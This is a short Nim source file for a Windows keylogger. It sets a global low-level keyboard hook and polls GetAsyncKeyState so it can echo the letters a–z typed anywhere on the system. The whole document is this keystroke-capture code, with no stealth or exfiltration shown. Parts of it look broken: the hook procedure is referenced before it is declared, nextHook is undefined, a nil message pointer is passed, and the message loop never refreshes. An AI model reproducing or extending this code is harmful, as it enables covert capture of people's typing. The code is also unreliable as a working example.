proc isKeyPressed(virtKeyCode: int32, stateCode: SHORT): bool =
if GetAsyncKeyState(virtKeyCode) and 0x8000 != 0:
return true
else:
return false
template checkKey(virtKeyCode: int32, keyValue: string, stateCode: SHORT): untyped =
if isKeyPressed(`virtKeyCode`, `stateCode`): return `keyValue`
proc getCurrentKey(): string {.thread.} =
for virtKeyCode in 0x01..0xFE.int32:
case virtKeyCode:
# of 0x4E: checkKey(virtKeyCode, "n", -32768)
# of 0x30: result = "none1"
# of 0x31: result = "none2"
# of 0x32: result = "none3"
# of 0x33: result = "none4"
# of 0x34: result = "none5"
# of 0x35: result = "none6"
# of 0x36: result = "none7"
# of 0x37: result = "none8"
# of 0x38: result = "none9"
# of 0x39: result = "none10"
# of 0x3A..0x40: result = " none11 "
of 0x41: checkKey(virtKeyCode, "a", -32767.SHORT)
of 0x42: checkKey(virtKeyCode, "b", -32767.SHORT)
of 0x43: checkKey(virtKeyCode, "c", -32767.SHORT)
of 0x44: checkKey(virtKeyCode, "d", -32767.SHORT)
of 0x45: checkKey(virtKeyCode, "e", -32767.SHORT)
of 0x46: checkKey(virtKeyCode, "f", -32767.SHORT)
of 0x47: checkKey(virtKeyCode, "g", -32767.SHORT)
of 0x48: checkKey(virtKeyCode, "h", -32767.SHORT)
of 0x49: checkKey(virtKeyCode, "i", -32767.SHORT)
of 0x4A: checkKey(virtKeyCode, "j", -32767.SHORT)
of 0x4B: checkKey(virtKeyCode, "k", -32767.SHORT)
of 0x4C: checkKey(virtKeyCode, "l", -32767.SHORT)
of 0x4D: checkKey(virtKeyCode, "m", -32767.SHORT)
of 0x4E: checkKey(virtKeyCode, "n", -32767.SHORT)
of 0x4F: checkKey(virtKeyCode, "o", -32767.SHORT)
of 0x50: checkKey(virtKeyCode, "p", -32767.SHORT)
of 0x51: checkKey(virtKeyCode, "q", -32767.SHORT)
of 0x52: checkKey(virtKeyCode, "r", -32767.SHORT)
of 0x53: checkKey(virtKeyCode, "s", -32767.SHORT)
of 0x54: checkKey(virtKeyCode, "t", -32767.SHORT)
of 0x55: checkKey(virtKeyCode, "u", -32767.SHORT)
of 0x56: checkKey(virtKeyCode, "v", -32767.SHORT)
of 0x57: checkKey(virtKeyCode, "w", -32767.SHORT)
of 0x58: checkKey(virtKeyCode, "x", -32767.SHORT)
of 0x59: checkKey(virtKeyCode, "y", -32767.SHORT)
of 0x5A: checkKey(virtKeyCode, "z", -32767.SHORT)
else: discard
const
hInstance: HINSTANCE = 0
hookProc: HOOKPROC = lowLeveLKeyboardProc
msg: LPMSG = nil
wMsgFilterMin: UINT = 0
wMsgFilterMax: UINT = 0
let
hook: HHOOK = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0)
proc lowLeveLKeyboardProc(code: int32, wParam: WPARAM, lParam: LPARAM): LRESULT {.stdcall.} =
if code < 0:
return nextHook()
elif code == HC_ACTION:
stdout.write(getCurrentKey())
return nextHook()
when isMainModule:
var hWnd: HWND
echo "Greetings!"
let typing = GetMessage(msg, hWnd, wMsgFilterMin, wMsgFilterMax)
while typing == TRUE:
TranslateMessage(msg)
DispatchMessage(msg)